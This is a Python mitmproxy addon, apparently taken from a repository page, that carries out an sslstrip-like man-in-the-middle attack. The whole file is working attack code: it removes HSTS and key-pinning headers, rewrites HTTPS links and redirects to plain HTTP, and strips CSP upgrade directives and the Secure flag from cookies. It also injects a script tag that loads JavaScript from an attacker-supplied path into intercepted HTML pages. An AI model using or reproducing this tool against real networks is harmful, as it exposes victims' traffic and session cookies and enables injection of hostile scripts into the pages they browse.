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88 lines
3.7 KiB
88 lines
3.7 KiB
"""
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This script implements an sslstrip-like attack based on mitmproxy.
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https://moxie.org/software/sslstrip/
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Based on: https://github.com/mitmproxy/mitmproxy/blob/master/examples/complex/sslstrip.py
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"""
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from bs4 import BeautifulSoup
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from mitmproxy import ctx, http
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import argparse, re, urllib
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# set of SSL/TLS capable hosts
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secure_hosts = set()
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class Injector:
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def __init__(self, path):
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self.path = path
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def response(self, flow: http.HTTPFlow) -> None:
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flow.response.headers.pop('Strict-Transport-Security', None)
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flow.response.headers.pop('Public-Key-Pins', None)
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# strip links in response body
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flow.response.content = flow.response.content.replace(b'https://', b'http://')
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# strip meta tag upgrade-insecure-requests in response body
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csp_meta_tag_pattern = b'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
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flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE)
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# strip links in 'Location' header
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if flow.response.headers.get('Location', '').startswith('https://'):
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location = flow.response.headers['Location']
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hostname = urllib.parse.urlparse(location).hostname
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if hostname:
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secure_hosts.add(hostname)
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flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
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# strip upgrade-insecure-requests in Content-Security-Policy header
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if re.search('upgrade-insecure-requests', flow.response.headers.get('Content-Security-Policy', ''), flags=re.IGNORECASE):
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csp = flow.response.headers['Content-Security-Policy']
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flow.response.headers['Content-Security-Policy'] = re.sub('upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE)
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if self.path:
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html = BeautifulSoup(flow.response.content, "html.parser")
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#print(self.path)
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#print(flow.response.headers)
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if 'Content-Type' in flow.response.headers and 'text/html' in flow.response.headers['Content-Type']:
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#print(flow.response.headers["content-type"])
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script = html.new_tag(
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"script",
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src=self.path,
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type='application/javascript')
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html.body.insert(0, script)
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flow.response.content = str(html).encode("utf8")
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print("\nScript injected.\n\n")
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else:
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print("\nWrong content type. Sorry.")
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print(str(flow.response.headers['Content-Type']) + "\n\n")
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# strip secure flag from 'Set-Cookie' headers
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cookies = flow.response.headers.get_all('Set-Cookie')
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cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
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flow.response.headers.set_all('Set-Cookie', cookies)
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def request(self, flow):
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flow.request.headers.pop('If-Modified-Since', None)
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flow.request.headers.pop('Cache-Control', None)
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# do not force https redirection
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flow.request.headers.pop('Upgrade-Insecure-Requests', None)
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# proxy connections to SSL-enabled hosts
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if flow.request.pretty_host in secure_hosts:
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flow.request.scheme = 'https'
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flow.request.port = 443
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# We need to update the request destination to whatever is specified in the host header:
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# Having no TLS Server Name Indication from the client and just an IP address as request.host
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# in transparent mode, TLS server name certificate validation would fail.
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flow.request.host = flow.request.pretty_host
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def start():
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parser = argparse.ArgumentParser()
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parser.add_argument("path", type=str)
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args = parser.parse_args()
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return Injector(args.path)
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